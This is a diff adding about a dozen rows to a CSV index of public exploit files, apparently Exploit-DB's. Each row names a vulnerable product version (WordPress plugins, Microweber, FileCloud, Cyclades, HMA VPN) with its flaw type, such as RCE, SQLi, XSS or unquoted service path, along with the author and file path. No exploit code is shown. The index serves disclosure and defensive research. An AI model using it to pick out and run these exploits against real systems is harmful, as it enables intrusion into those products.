@ -11450,6 +11450,9 @@ id,file,description,date,author,type,platform,port
 50762,exploits/windows/local/50762.txt,"Intel(R) Management Engine Components 6.0.0.1189 - 'LMS' Unquoted Service Path",1970-01-01,SamAlucard,local,windows,
 50763,exploits/windows/local/50763.txt,"File Sanitizer for HP ProtectTools 5.0.1.3 - 'HPFSService' Unquoted Service Path",1970-01-01,SamAlucard,local,windows,
 50764,exploits/windows/local/50764.txt,"Connectify Hotspot 2018 'ConnectifyService' - Unquoted Service Path",1970-01-01,SamAlucard,local,windows,
+50765,exploits/windows/local/50765.txt,"HMA VPN 5.3 - Unquoted Service Path",1970-01-01,"Saud Alenazi",local,windows,
+50773,exploits/hardware/local/50773.sh,"Cyclades Serial Console Server 3.3.0 - Local Privilege Escalation",1970-01-01,ibby,local,hardware,
+50776,exploits/windows/local/50776.txt,"Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path",1970-01-01,"Johto Robbie",local,windows,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",1970-01-01,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",1970-01-01,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",1970-01-01,"Marcin Wolak",remote,windows,139
@ -44834,3 +44837,12 @@ id,file,description,date,author,type,platform,port
 50753,exploits/php/webapps/50753.py,"WordPress Plugin dzs-zoomsounds 6.60 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,Overthinker1877,webapps,php,
 50754,exploits/php/webapps/50754.py,"Hotel Druid 3.0.3 - Remote Code Execution (RCE)",1970-01-01,0z09e,webapps,php,
 50759,exploits/multiple/webapps/50759.txt,"Fortinet Fortimail 7.0.1 - Reflected Cross-Site Scripting (XSS)",1970-01-01,"Braiant Giraldo Villa",webapps,multiple,
+50766,exploits/php/webapps/50766.py,"WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated)",1970-01-01,"Ron Jost",webapps,php,
+50767,exploits/php/webapps/50767.txt,"Cab Management System 1.0 - 'id' SQLi (Authenticated)",1970-01-01,"Alperen Ergel",webapps,php,
+50768,exploits/php/webapps/50768.txt,"Microweber 1.2.11 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Chetanya Sharma",webapps,php,
+50769,exploits/php/webapps/50769.txt,"Cab Management System 1.0 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Alperen Ergel",webapps,php,
+50770,exploits/multiple/webapps/50770.txt,"Thinfinity VirtualUI 2.5.41.0 - IFRAME Injection",1970-01-01,"Daniel Morales",webapps,multiple,
+50771,exploits/multiple/webapps/50771.txt,"Thinfinity VirtualUI 2.5.26.2 - Information Disclosure",1970-01-01,"Daniel Morales",webapps,multiple,
+50772,exploits/php/webapps/50772.py,"WordPress Plugin WP User Frontend 3.5.25 - SQLi (Authenticated)",1970-01-01,"Ron Jost",webapps,php,
+50774,exploits/php/webapps/50774.txt,"FileCloud 21.2 - Cross-Site Request Forgery (CSRF)",1970-01-01,"Masashi Fujiwara",webapps,php,
+50775,exploits/hardware/webapps/50775.txt,"Dbltek GoIP - Local File Inclusion",1970-01-01,"Valtteri Lehtinen",webapps,hardware,